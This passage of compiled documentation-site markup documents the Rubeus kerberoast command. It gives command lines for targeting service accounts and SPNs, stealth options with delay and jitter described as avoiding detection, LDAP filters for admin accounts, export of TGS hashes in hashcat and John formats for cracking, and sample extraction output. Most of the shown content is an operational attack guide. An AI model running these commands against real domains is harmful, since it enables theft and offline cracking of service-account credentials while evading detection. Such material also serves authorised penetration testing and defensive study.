dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Target users from file`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /users:C:`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D7BA7D`},children:`\\\\t`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`emp`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D7BA7D`},children:`\\\\s`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`ervice_accounts.txt`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Target SPNs from file`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /spns:C:`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D7BA7D`},children:`\\\\t`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`emp`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D7BA7D`},children:`\\\\t`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`arget_spns.txt`})]}),`\n`]})})})]})}),_jsx(Tab,{title:`OPSEC Mode`,id:`opsec-mode`,children:_jsxs(CodeGroup,{children:[_jsx(CodeBlock,{filename:`Stealth Operations`,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Use OPSEC features`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /opsec`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Specific encryption and delays`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /opsec`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /delay:5000`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /jitter:30`})]}),`\n`]})})}),_jsx(CodeBlock,{filename:`Output Management`,numberOfLines:`5`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`5`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Save to file for processing`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /outfile:hashes.txt`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /format:hashcat`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# John the Ripper format`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` kerberoast`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /format:john`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /outfile:john_hashes.txt`})]}),`\n`]})})})]})})]}),`\n`,_jsx(Heading,{level:`2`,id:`targeting-parameters`,children:`Targeting Parameters`}),`\n`,_jsxs(Expandable,{title:`Service Targeting`,icon:`crosshairs`,defaultOpen:true,children:[_jsxs(ParamField,{path:`spn`,type:`string`,id:`param-spn`,children:[_jsx(_components.p,{children:`Target specific Service Principal Name`}),_jsxs(Tooltip,{tip:`Use full SPN format: service/host.domain.com:port`,children:[`Example: `,_jsx(_components.code,{children:`MSSQLSvc/sql01.corp.local:1433`})]})]}),_jsxs(ParamField,{path:`spns`,type:`string`,id:`param-spns`,children:[_jsx(_components.p,{children:`File containing list of SPNs to target`}),_jsxs(Expandable,{title:`File Format`,children:[_jsx(_components.p,{children:`One SPN per line:`}),_jsx(CodeBlock,{numberOfLines:`4`,language:`text`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`text`,children:_jsxs(_components.code,{language:`text`,numberOfLines:`4`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`MSSQLSvc/sql01.corp.local:1433`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`HTTP/web01.corp.local`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`CIFS/fileserver.corp.local`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{})})]})})})]})]}),_jsx(ParamField,{path:`user`,type:`string`,id:`param-user`,children:_jsx(_components.p,{children:`Target specific username with SPNs`})}),_jsx(ParamField,{path:`users`,type:`string`,id:`param-users`,children:_jsx(_components.p,{children:`File containing list of usernames to target`})})]}),`\n`,_jsxs(Expandable,{title:`LDAP Filtering`,icon:`filter`,children:[_jsxs(ParamField,{path:`ldapfilter`,type:`string`,id:`param-ldapfilter`,children:[_jsx(_components.p,{children:`Custom LDAP filter for advanced targeting`}),_jsx(Expandable,{title:`Common Filters`,children:_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`admincount=1`}),` - Administrative accounts`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`serviceprincipalname=*`}),` - Any account with SPNs`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`samaccountname=svc_*`}),` - Service accounts by naming pattern`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`useraccountcontrol:1.2.840.113556.1.4.803:=512`}),` - Normal accounts only`]}),`\n`]})})]}),_jsxs(ParamField,{path:`ou`,type:`string`,id:`param-ou`,children:[_jsx(_components.p,{children:`Target specific Organizational Unit`}),_jsxs(Tooltip,{tip:`Use full distinguished name format`,children:[`Example: `,_jsx(_components.code,{children:`\"OU=Service Accounts,DC=corp,DC=local\"`})]})]}),_jsx(ParamField,{path:`domain`,type:`string`,id:`param-domain`,children:_jsx(_components.p,{children:`Target domain (default: current domain)`})}),_jsx(ParamField,{path:`dc`,type:`string`,id:`param-dc`,children:_jsx(_components.p,{children:`Specific domain controller to query`})})]}),`\n`,_jsxs(Expandable,{title:`Output Options`,icon:`file-export`,children:[_jsxs(ParamField,{path:`format`,type:`string`,id:`param-format`,children:[_jsx(_components.p,{children:`Hash output format for cracking tools`}),_jsx(Expandable,{title:`Supported Formats`,children:_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`hashcat`}),` (default) - Hashcat mode 13100`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`john`}),` - John the Ripper format`]}),`\n`]})})]}),_jsx(ParamField,{path:`outfile`,type:`string`,id:`param-outfile`,children:_jsx(_components.p,{children:`Save extracted hashes to file`})}),_jsx(ParamField,{path:`nowrap`,type:`boolean`,id:`param-nowrap`,children:_jsx(_components.p,{children:`Don’t wrap long lines in output`})}),_jsx(ParamField,{path:`simple`,type:`boolean`,id:`param-simple`,children:_jsx(_components.p,{children:`Output only the crackable hash portion`})})]}),`\n`,_jsxs(Expandable,{title:`OPSEC Options`,icon:`user-secret`,children:[_jsxs(ParamField,{path:`opsec`,type:`boolean`,id:`param-opsec`,children:[_jsx(_components.p,{children:`Enable OPSEC-safe features`}),_jsx(Tooltip,{tip:`Implements timing delays and encryption preferences`,children:`Recommended for stealth operations`})]}),_jsxs(ParamField,{path:`delay`,type:`number`,id:`param-delay`,children:[_jsx(_components.p,{children:`Delay in milliseconds between requests`}),_jsx(Tooltip,{tip:`Helps avoid detection by spreading requests over time`,children:`Recommended: 3000-10000ms for stealth`})]}),_jsxs(ParamField,{path:`jitter`,type:`number`,id:`param-jitter`,children:[_jsx(_components.p,{children:`Random percentage variation in delay (0-100)`}),_jsx(Tooltip,{tip:`Adds randomness to request timing`,children:`Example: 30 = ±30% variation in delay`})]}),_jsx(ParamField,{path:`aes`,type:`boolean`,id:`param-aes`,children:_jsx(_components.p,{children:`Request AES256 encryption (less common, more suspicious)`})})]}),`\n`,_jsxs(Expandable,{title:`Advanced Options`,icon:`cog`,children:[_jsx(ParamField,{path:`stats`,type:`boolean`,id:`param-stats`,children:_jsx(_components.p,{children:`Display statistics about service accounts`})}),_jsx(ParamField,{path:`resultlimit`,type:`number`,id:`param-resultlimit`,children:_jsx(_components.p,{children:`Limit number of results returned`})}),_jsxs(ParamField,{path:`pwdsetafter`,type:`string`,id:`param-pwdsetafter`,children:[_jsx(_components.p,{children:`Only target accounts with passwords set after date`}),_jsx(Tooltip,{tip:`Format: MM/DD/YYYY`,children:`Useful for targeting recently changed passwords`})]}),_jsxs(ParamField,{path:`pwdsetbefore`,type:`string`,id:`param-pwdsetbefore`,children:[_jsx(_components.p,{children:`Only target accounts with passwords set before date`}),_jsx(Tooltip,{tip:`Format: MM/DD/YYYY`,children:`Useful for targeting old, potentially weak passwords`})]})]}),`\n`,_jsx(Heading,{level:`2`,id:`response-format`,children:`Response Format`}),`\n`,_jsxs(Tabs,{children:[_jsxs(Tab,{title:`Successful Extraction`,id:`successful-extraction`,children:[_jsx(CodeBlock,{filename:``,numberOfLines:`18`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`18`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Action: Kerberoasting`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] NOTICE: AES hashes will be returned `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`for`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` AES-enabled accounts.`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Use /ticket:X or /tgtdeleg to force RC4_HMAC `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`for`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` these accounts.`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Target SPN `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` MSSQLSvc/sql01.corp.local:1433`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Target Name `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` svc_sql`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Target Domain `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` CORP.LOCAL`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Searching path `}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`'LDAP://DC=corp,DC=local'`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:` for`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` '(\u0026(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Total kerberoastable users `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` 15`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] SamAccountName `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` svc_sql`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] DistinguishedName `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:` CN`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`SQL`}),_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:` Service,OU`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`=Service`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` Accounts,DC=corp,DC=local`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] ServicePrincipalName `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` MSSQLSvc/sql01.corp.local:1433`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] PwdLastSet `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` 1/15/2024 2:15:30 PM`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Supported ETypes `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` RC4_HMAC_DEFAULT`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Hash `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:` $krb5tgs$23`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`$`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`svc_sql`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`$CORP`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`.LOCAL`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`$MSSQLSvc`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`/sql01.corp.local:1433`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`$hash_data_here`})]}),`\n`]})})}),_jsxs(ResponseField,{name:`Target Information`,type:`object`,id:`param-target-information`,children:[_jsx(_components.p,{children:`Details about the targeted service account`}),_jsx(Expandable,{title:`Fields`,children:_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`SamAccountName`}),`: Username of service account`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`ServicePrincipalName`}),`: The targeted SPN`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`PwdLastSet`}),`: When password was last changed`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Supported ETypes`}),`: Encryption types supported`]}),`\n`]})})]}),_jsx(ResponseField,{name:`Hash`,type:`string`,id:`param-hash`,children:_jsx(_components.p,{children:`Extracted hash in specified format for cracking`})}),_jsxs(ResponseField,{name:`Statistics`,type:`object`,id:`param-statistics`,children:[_jsx(_components.p,{children:`Summary information about the operation`}),_jsx(Expandable,{title:`Metrics`,children:_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Total kerberoastable users`}),`: Number of accounts with SPNs`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Successful extractions`}),`: Hashes successfully extracted`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Failed requests`}),`: Services that couldn’t be accessed`]}),`\n`]})})]})]}),_jsxs(Tab,{title:`No Results`,id:`no-results`,children:[_jsx(CodeBlock,{filename:``,numberOfLines:`6`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`6`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Action: Kerberoasting`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Target SPN `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` MSSQLSvc/sql01.corp.local:1433`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Searching path `}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`'LDAP://DC=corp,DC=local'`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:` for`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` '(\u0026(samAccountType=805306368)(servicePrincipalName=*))'`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`!`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] No users found to Kerberoast`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`!`})]}),`\n`]})})}),_jsxs(Info,{children:[_jsx(_components.p,{children:`Common reasons for no results:`}),_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`No service accounts with SPNs in target domain`}),`\n`,_jsx(_components.li,{children:`Insufficient permissions to query LDAP`}),`\n`,_jsx(_components.li,{children:`Target-specific filters too restrictive`}),`\n`,_jsx(_components.li,{children:`Service accounts don’t allow TGS requests`}),`\n`]})]})]}),_jsxs(Tab,{title:`Error Scenarios`,id:`error-scenarios`,children:[_jsx(CodeBlock,{filename:``,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`!`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] LDAP query failed`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`!`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`System.DirectoryServices.DirectoryServiceCOMException:`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` The`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` server`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` is`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` not`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` operational.`})]}),`\n`]})})}),_jsxs(Warning,{children:[_jsx(_components.p,{children:`Common error scenarios:`}),_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`LDAP query failed`}),`: Domain controller unreachable`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Access denied`}),`: Insufficient permissions for LDAP queries`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`No current user context`}),`: Need valid domain authentication`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Clock skew`}),`: Time synchronization issues`]}),`\n`]})]})]})]}),`\n`,_jsx(Heading,{level:`2`,id:`hash-format-examples`,children:`Hash Format Examples`}),`\n`,_jsxs(Tabs,{children:[_jsxs(Tab,{title:`Hashcat 